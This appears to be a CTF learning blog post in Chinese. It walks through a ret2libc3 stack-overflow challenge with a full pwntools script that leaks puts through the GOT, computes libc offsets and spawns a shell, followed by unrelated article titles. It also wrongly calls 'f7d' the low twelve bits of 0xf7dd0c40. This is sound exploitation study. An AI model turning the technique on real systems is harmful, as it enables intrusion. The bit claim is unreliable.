print( "main_plt_addr = ",hex(main_plt_addr))payload = b'a'*112+p32(puts_plt_addr)+p32(main_plt_addr)+p32(puts_got_addr)
p.recv()
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])#将地址输出后用332解包,得到真实地址
print("puts_addr=",hex(puts_addr))

运行后得到真实函数的地址为(0xf7dd0c40),需要知道libc版本才能知道偏移量,我们根据函数真实地址可以得到libc版本。aslr技术是地址随机化,但是低十二位是不变的,因为需要内存页补齐,puts的真实地址0xf7dd0c40的低十二位是f7d,在网站libc.rip上可以根据后十二位查到这个函数所在的libc版本

这里面需要用到三个offset,分别为system、puts和sh,但sh的值可能有误,需要用指令重新检查一遍:

构造公式
libc基地址 + system函数偏移量 = system函数真实地址
libc基地址 = puts函数真实地址 - puts函数偏移量

main函数-->puts函数泄露got表地址-->gets函数溢出点送入puts函数plt及参数(参数为puts got)-->main函数-->gets函数再溢出
from pwn import *p = process('./ret2libc3')
elf = ELF('./ret2libc3')puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print( "main_plt_addr = ",hex(main_plt_addr))payload = b'a'*112+p32(puts_plt_addr)+p32(main_plt_addr)+p32(puts_got_addr)
p.recv()
p.sendline(payload)puts_addr = u32(p.recv()[0:4])
print ("puts_addr = ",hex(puts_addr))
sys_offset = 0x41780
puts_offset = 0x6dc40
sh_offset = 0x18e363libc_base_addr = puts_addr - puts_offset
sys_addr = libc_base_addr + sys_offset
sh_addr = libc_base_addr + sh_offsetprint ("libc_base_addr = ",hex(libc_base_addr))
print ("sys_addr = ",hex(sys_addr))
print ("sh_addr = ",hex(sh_addr))payload = b'A'*112+ p32(sys_addr)+b"AAAA"+p32(sh_addr)p.sendline(payload)
p.interactive()

getshell

ctf pwn 萌新学习记录 基本rop(题目来自Wiki)相关推荐

  1. 萌新学习Python爬取B站弹幕+R语言分词demo说明

    代码地址如下: http://www.demodashi.com/demo/11578.html 一.写在前面 之前在简书首页看到了Python爬虫的介绍,于是就想着爬取B站弹幕并绘制词云,因此有了这 ...

  2. JAVA萌新学习day17.18天 数据库MySQL

    JAVA萌新学习day17.18天 数据库MySQL基本操作 MySQLDemo // name age address 小明 18 大连 小明 18 大连 小明 18 大连/*** 1.数据库 -& ...

  3. JAVA萌新学习day25 css

    JAVA萌新学习day25 css 一.CSS概念: CSS :层叠样式表(英文全称:Cascading Style Sheets)是一种用来表现HTML(标准通用标记语言的一个应 用)或XML(标准 ...

  4. JAVA萌新学习day16

    JAVA萌新学习day16 设计三个类(每个类名前加前缀 为 你的名这字的全拼) Food类(菜)(价格,名称, 编号 ,类别) Menu类(菜单)(可以根据类别保存所有的食物,商家名) Manage ...

  5. 萌新学习C++容易漏掉的知识点看看你中招了没有(二)

    2020博客之星年度总评选进行中:请为74号的狗子投上宝贵的一票! 我的投票地址:点击为我投票 文章目录 一. 前言 二.进入正题 1. if else结构 2. if else if else 结构 ...

  6. BJD 2nd ctf大赛萌新wp

    BJD 2nd ctf大赛萌新wp 太打击人了,果然就是个萌新!! crypto 签到题 " QkpEe1czbGMwbWVfVDBfQkpEQ1RGfQ== " 显然base64 ...

  7. 老手萌新学习composer的使用

    为什么说是老手萌新? 写代码好多年了,所以是老手,然而一直未用过composer,所以是萌新(而且接触过N次就是没看懂到底啥是composer,很囧) ------------------------ ...

  8. 刷题之旅第35站,CTF show 萌新题目集合

    感谢ctf show平台提供题目 第一题:萌新_密码1 我们看到密文中没有大于F的,那么每俩位16进制转文本. 直接运行python脚本 import redef read_file(filepath ...

  9. CTF show萌新题系列

    题目地址:https://ctf.show 0X01 萌新_密码1 1.16进制转字符串 有很多网站可以实现,这里我也附上我的脚本: # author: 羽 def hex_to_str():whil ...

最新文章

  1. python人工智能计算器_招募:基于python的召唤师全时段全技能(含均值AI)计算器全程测试...
  2. 服务降级及dubbo中的实现示例
  3. python导包路径问题_python的导包问题
  4. smarty引擎之练习
  5. js连续指定两次或者多次的click事件(解决办法)
  6. 轨道车辆垂向振动Matlab建模与仿真,基于matlab/simulink的车辆建模与故障分析
  7. ios html字符串 label,iOS UIlabel怎么加载html字符串 富文本的用法
  8. 背水一战 Windows 10 (46) - 控件(ScrollViewer 基础): ScrollViewer, ScrollBar, ScrollContentPresenter...
  9. spring ioc原理_干了5年的Java面试官,把他喜欢问的几十个Spring面试题告诉我了
  10. 2014年西安区域赛的几道水题(A. F. K)
  11. controller层没反应_一脚踏空就没命!57岁民警33层楼顶飞身救人
  12. XP蓝屏代码集(转)
  13. NAT映射和代理服务器
  14. python中的def是什么意思啊_python的def是什么意思
  15. AVX贴片钽电容标识
  16. Veeam 安装部署 - 部署 Veeam Backup Replication
  17. C++并发编程 - 同步并发操作
  18. LRC 文件格式定义
  19. 第一个C编译器的诞生图
  20. sniper photo

热门文章

  1. mysql bitand函数_有趣的SQL(一)
  2. 【ICPC46届上海站 Edge Groups】树形dp
  3. Linux服务器如何做raid1,Linux下制作raid1
  4. pwcorr_a:输出相关系数矩阵至Word和Excel
  5. 华为云图引擎服务 GES 实战——创图
  6. navicat 链接mysql异常 2005 - Unknown MySQL server host ‘xxxxxxxxx‘(11001)
  7. 科技是唯一可叠加式进步的动力
  8. CF--998D. Roman Digits
  9. 图数据库 TigerGraph 使用全攻略
  10. JS 实现抛物线动画案例